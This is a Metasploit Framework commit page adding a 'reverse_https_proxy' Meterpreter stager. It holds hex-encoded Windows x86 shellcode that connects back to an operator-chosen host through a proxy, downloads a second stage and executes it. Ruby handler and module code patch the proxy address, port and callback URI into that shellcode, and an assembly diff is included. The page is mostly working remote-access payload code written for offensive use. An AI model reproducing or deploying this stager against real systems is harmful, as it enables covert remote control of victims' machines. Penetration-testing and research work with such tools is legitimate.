Skip to content

Commit e8983a2

Browse files
corelanc0d3rmubix
corelanc0d3r
authored and
mubix
committed
New meterpreter payload reverse_https_proxy
1 parent 529471e commit e8983a2

File tree

4 files changed

+192
-5
lines changed

4 files changed

+192
-5
lines changed

‎external/source/shellcode/windows/x86/src/block/block_reverse_https_proxy.asm

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -19,17 +19,17 @@ load_wininet:
1919
call internetopen
2020

2121
proxy_server_name:
22-
db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:55555",0x00
22+
db "PROXYHOST:PORT",0x00
2323

2424
internetopen:
25-
mov ecx, esp
25+
pop ecx ; pointer to proxy_server_name
2626
xor edi,edi
2727
push edi ; DWORD dwFlags
28-
push edi ; LPCTSTR lpszProxyBypass
28+
push esp ; LPCTSTR lpszProxyBypass (empty)
2929
push ecx ; LPCTSTR lpszProxyName
3030
push byte 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
31-
push byte 0 ; NULL pointer
32-
push esp ; LPCTSTR lpszAgent ("\x00")
31+
push byte 0 ; NULL pointer
32+
; push esp ; LPCTSTR lpszAgent ("\x00") // doesn't seem to work with this
3333
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
3434
call ebp
3535

‎lib/msf/core/handler/reverse_http.rb

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -297,6 +297,24 @@ def on_request(cli, req, obj)
297297
print_status("Patched user-agent at offset #{i}...")
298298
end
299299

300+
# Activate a custom proxy
301+
i = blob.index("METERPRETER_PROXY")
302+
if i
303+
if datastore['PROXYHOST']
304+
if datastore['PROXYHOST'].to_s != ""
305+
proxyhost = datastore['PROXYHOST'].to_s
306+
proxyport = datastore['PROXYPORT'].to_s || "8080"
307+
proxyinfo = proxyhost + ":" + proxyport
308+
if proxyport == "80"
309+
proxyinfo = proxyhost
310+
end
311+
proxyinfo << "\x00"
312+
blob[i, proxyinfo.length] = proxyinfo
313+
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
314+
end
315+
end
316+
end
317+
300318
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
301319
i = blob.index("METERPRETER_TRANSPORT_SSL")
302320
if i

‎lib/msf/core/handler/reverse_https_proxy.rb

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
# -*- coding: binary -*-
2+
require 'rex/io/stream_abstraction'
3+
require 'rex/sync/ref'
4+
require 'msf/core/handler/reverse_http'
5+
6+
module Msf
7+
module Handler
8+
9+
###
10+
#
11+
# This handler implements the HTTP SSL tunneling interface.
12+
#
13+
###
14+
module ReverseHttpsProxy
15+
16+
include Msf::Handler::ReverseHttp
17+
18+
#
19+
# Returns the string representation of the handler type
20+
#
21+
def self.handler_type
22+
return "reverse_https_proxy"
23+
end
24+
25+
#
26+
# Returns the connection-described general handler type, in this case
27+
# 'tunnel'.
28+
#
29+
def self.general_handler_type
30+
"tunnel"
31+
end
32+
33+
#
34+
# Initializes the HTTP SSL tunneling handler.
35+
#
36+
def initialize(info = {})
37+
super
38+
39+
register_options(
40+
[
41+
OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
42+
], Msf::Handler::ReverseHttpsProxy)
43+
44+
end
45+
46+
end
47+
48+
end
49+
end
50+

‎modules/payloads/stagers/windows/reverse_https_proxy.rb

Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
9+
require 'msf/core'
10+
require 'msf/core/handler/reverse_https_proxy'
11+
12+
13+
module Metasploit3
14+
15+
include Msf::Payload::Stager
16+
include Msf::Payload::Windows
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy',
21+
'Description' => 'Tunnel communication over HTTP using SSL, supports custom proxy',
22+
'Author' => ['hdm','corelanc0d3r <[email protected]>'],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'win',
25+
'Arch' => ARCH_X86,
26+
'Handler' => Msf::Handler::ReverseHttpsProxy,
27+
'Convention' => 'sockedi https',
28+
'Stager' =>
29+
{
30+
'Payload' =>
31+
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
32+
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
33+
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
34+
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
35+
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
36+
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
37+
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
38+
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
39+
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
40+
"\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07" +
41+
"\xff\xd5\xe8\x0f\x00\x00\x00\x50\x52\x4f\x58\x59\x48\x4f\x53\x54" +
42+
"\x3a\x50\x4f\x52\x54\x00\x59\x31\xff\x57\x54\x51\x6a\x03\x6a\x00" +
43+
"\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x62\x5b\x31\xc9\x51\x51\x6a" +
44+
"\x03\x51\x51\x68\x5c\x11\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff" +
45+
"\xd5\xe9\x4b\x00\x00\x00\x59\x31\xd2\x52\x68\x00\x32\xa0\x84\x52" +
46+
"\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x6a\x10" +
47+
"\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75" +
48+
"\x46\x9e\x86\xff\xd5\x31\xff\x57\x57\x57\x57\x56\x68\x2d\x06\x18" +
49+
"\x7b\xff\xd5\x85\xc0\x75\x1d\x4b\x74\x13\xeb\xd5\xe9\x49\x00\x00" +
50+
"\x00\xe8\xb0\xff\xff\xff\x2f\x31\x32\x33\x34\x35\x00\x68\xf0\xb5" +
51+
"\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
52+
"\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x53\x89\xe7\x57\x68\x00" +
53+
"\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcd" +
54+
"\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x4b\xff\xff\xff"
55+
}
56+
))
57+
58+
# Register proxy options
59+
register_options(
60+
[
61+
OptAddress.new('PROXYHOST', [true, "The IP address of the proxy to use" ,"127.0.0.1"]),
62+
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
63+
], self.class)
64+
65+
end
66+
67+
#
68+
# Do not transmit the stage over the connection. We handle this via HTTPS
69+
#
70+
def stage_over_connection?
71+
false
72+
end
73+
74+
#
75+
# Generate the first stage
76+
#
77+
def generate
78+
p = super
79+
80+
i = p.index("/12345\x00")
81+
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttpsProxy::URI_CHECKSUM_INITW) + "\x00"
82+
p[i, u.length] = u
83+
84+
# patch proxy info
85+
proxyhost = datastore['PROXYHOST'].to_s
86+
proxyport = datastore['PROXYPORT'].to_s || "8080"
87+
proxyinfo = proxyhost + ":" + proxyport
88+
if proxyport == "80"
89+
proxyinfo = proxyhost
90+
end
91+
92+
proxyloc = p.index("PROXYHOST:PORT")
93+
p = p.gsub("PROXYHOST:PORT",proxyinfo)
94+
95+
# patch the call
96+
calloffset = proxyinfo.length
97+
calloffset += 1
98+
p[proxyloc-4] = [calloffset].pack('V')[0]
99+
100+
# patch the LPORT
101+
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
102+
p[lportloc+1] = [datastore['LPORT'].to_i].pack('V')[0]
103+
p[lportloc+2] = [datastore['LPORT'].to_i].pack('V')[1]
104+
p[lportloc+3] = [datastore['LPORT'].to_i].pack('V')[2]
105+
p[lportloc+4] = [datastore['LPORT'].to_i].pack('V')[3]
106+
107+
# append LHOST and return payload
108+
p + datastore['LHOST'].to_s + "\x00"
109+
110+
end
111+
112+
#
113+
# Always wait at least 20 seconds for this payload (due to staging delays)
114+
#
115+
def wfs_delay
116+
20
117+
end
118+
end
119+

0 commit comments

Comments
 (0)